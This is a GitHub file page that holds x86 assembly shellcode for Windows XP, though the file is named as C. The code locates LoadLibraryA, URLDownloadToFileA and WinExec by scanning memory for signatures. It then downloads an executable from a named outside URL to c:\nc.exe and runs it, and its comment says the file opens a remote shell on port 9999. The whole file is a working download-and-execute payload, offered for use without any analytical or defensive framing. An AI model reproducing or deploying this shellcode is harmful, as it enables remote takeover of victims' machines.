-
Notifications
You must be signed in to change notification settings - Fork 1
/
shellcode-146.c
executable file
·144 lines (114 loc) · 2.3 KB
/
shellcode-146.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
; Nice theorhetically generic url download and execute
; shellcode for Windows XP.
;
; Heck, atleast it saves you using tftp!
;
;
; nasmw -s -fbin -o download.s download.asm
bits 32
start:
jmp short avoidnastynulls
continue:
pop edi ; edi = 'urlmon.dll'
mov esi, edi
mov al, 0ffh
repne scasb
inc byte [edi-01h] ; edi = string of url
mov ebx, edi
mov al, 0ffh
repne scasb
inc byte [edi-01h] ; edi = path of download
mov edx, edi
repne scasb
inc byte [edi-01h]
push edx
push ebx
push edx
push esi
mov ebx, 0c25b5effh
mov ecx, 0deadc0deh
mov edi, 77e60101h
trawlmem:
inc edi
mov al, 0ffh
repne scasb
jmp short checkbytes
nop
checkbytes:
dec edi
push dword [edi]
pop esi
cmp ebx, esi
je short gotcha
jmp short trawlmem
jmp short pastpoint
avoidnastynulls:
jmp short data
pastpoint:
gotcha:
lea eax, [edi-2eh] ; get to start of loadlibrarya function
call eax ; call loadlibrarya
pop edx
pop ebx
push edx
xor ecx, ecx
push ecx
push ecx
push edx ; path of download
push ebx ; url of download
push ecx
mov ebx, 8d8d5602h
mov ecx, 0badc0dedh
mov edi, eax ; eax = base of urlmon.dll
trawlmem2:
inc edi
mov al, 002h
repne scasb
jmp short checkbytes2
nop
checkbytes2:
dec edi
push dword [edi]
pop esi
cmp ebx, esi
je short gotcha2
jmp short trawlmem2
gotcha2:
lea eax, [edi-1bh] ; get to start of urldownloadtofilea function
call eax ; call urldownloadtofilea
pop edx
xor ecx, ecx
;inc ecx
push ecx
push edx
mov ebx, 0c458b66h
mov ecx, 1337f00dh
mov edi, 77e60101h
trawlmem3:
inc edi
mov al, 066h
repne scasb
jmp short checkbytes3
nop
checkbytes3:
dec edi
push dword [edi]
pop esi
cmp ebx, esi
je short gotcha3
jmp short trawlmem3
gotcha3:
lea eax, [edi-16h] ; get to start of winexec function
call eax ; call winexec
mov ecx, 0deadc0deh
infloop: ; infinite loop; no crash when done
inc ecx
cmp ecx, 0badc0dedh
loopnz infloop ; if this slows you down too much, remove it!
int 3h
data:
call continue
db 'URLMON.DLL', 0ffh
db 'http://www.elitehaven.net/ncat.exe', 0ffh ; the file at this address spawns remote shell on port 9999
db 'c:\nc.exe', 0ffh